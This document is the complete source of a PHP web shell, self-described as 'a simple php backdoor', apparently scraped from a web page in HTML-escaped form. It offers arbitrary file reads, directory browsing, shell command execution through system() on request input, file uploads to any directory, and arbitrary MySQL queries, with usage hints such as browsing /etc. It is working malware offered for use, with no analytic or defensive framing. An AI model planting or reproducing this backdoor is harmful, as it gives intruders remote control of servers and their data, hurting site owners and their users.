// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\ob_implicit_flush();if(isset($_REQUEST[&#039;f&#039;])){        $filename=$_REQUEST[&#039;f&#039;];        $file=fopen(&quot;$filename&quot;,&quot;rb&quot;);        fpassthru($file);        die;}if(isset($_REQUEST[&#039;d&#039;])){        $d=$_REQUEST[&#039;d&#039;];        echo &quot;&lt;pre&gt;&quot;;        if ($handle = opendir(&quot;$d&quot;)) {        echo &quot;<h2>listing of $d</h2>&quot;;                   while ($dir = readdir($handle)){                        if (is_dir(&quot;$d/$dir&quot;)) echo &quot;&lt;a href=&#039;$PHP_SELF?d=$d/$dir&#039;&gt;&lt;font color=grey&gt;&quot;;							else echo &quot;&lt;a href=&#039;$PHP_SELF?f=$d/$dir&#039;&gt;&lt;font color=black&gt;&quot;;                       echo &quot;$dir\n&quot;;                        echo &quot;&lt;/font&gt;&lt;/a&gt;&quot;;                }                               } else echo &quot;opendir() failed&quot;;        closedir($handle);        die (&quot;&lt;hr&gt;&quot;); }if(isset($_REQUEST[&#039;c&#039;])){	echo &quot;&lt;pre&gt;&quot;;	system($_REQUEST[&#039;c&#039;]);		   	die;}if(isset($_REQUEST[&#039;upload&#039;])){		if(!isset($_REQUEST[&#039;dir&#039;])) die(&#039;hey,specify directory!&#039;);			else $dir=$_REQUEST[&#039;dir&#039;];		$fname=$HTTP_POST_FILES[&#039;file_name&#039;][&#039;name&#039;];		if(!move_uploaded_file($HTTP_POST_FILES[&#039;file_name&#039;][&#039;tmp_name&#039;], $dir.$fname))			die(&#039;file uploading error.&#039;);}if(isset($_REQUEST[&#039;mquery&#039;])){		$host=$_REQUEST[&#039;host&#039;];	$usr=$_REQUEST[&#039;usr&#039;];	$passwd=$_REQUEST[&#039;passwd&#039;];	$db=$_REQUEST[&#039;db&#039;];	$mquery=$_REQUEST[&#039;mquery&#039;];	mysql_connect(&quot;$host&quot;, &quot;$usr&quot;, &quot;$passwd&quot;) or    die(&quot;Could not connect: &quot; . mysql_error());    mysql_select_db(&quot;$db&quot;);    $result = mysql_query(&quot;$mquery&quot;);	if($result!=FALSE) echo &quot;&lt;pre&gt;<h2>query was executed correctly</h2>\n&quot;;    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);      mysql_free_result($result);	die;}&lt;pre&gt;<form>execute command: <input type=text><input type=submit>&lt;hr&gt;</form> <form><input type=hidden>upload file:<input type=file&quot;&gt;   to dir: &lt;input type=&quot;text>&amp;nbsp;&amp;nbsp;<input type=submit></form>&lt;hr&gt;to browse go to http:// echo $SERVER_NAME.$REQUEST_URI; ?d=[directory here]<br>for example:http:// echo $SERVER_NAME.$REQUEST_URI; ?d=/etc on *nixor http:// echo $SERVER_NAME.$REQUEST_URI; ?d=c:/windows on win&lt;hr&gt;execute mysql query:<form>host:<input type=text>  user: <input type=text> password: <input type=text>database: <input type=text>  query: <input type=text> <input type=submit></form>&lt;!--	http://michaeldaw.org	2006 	--&gt;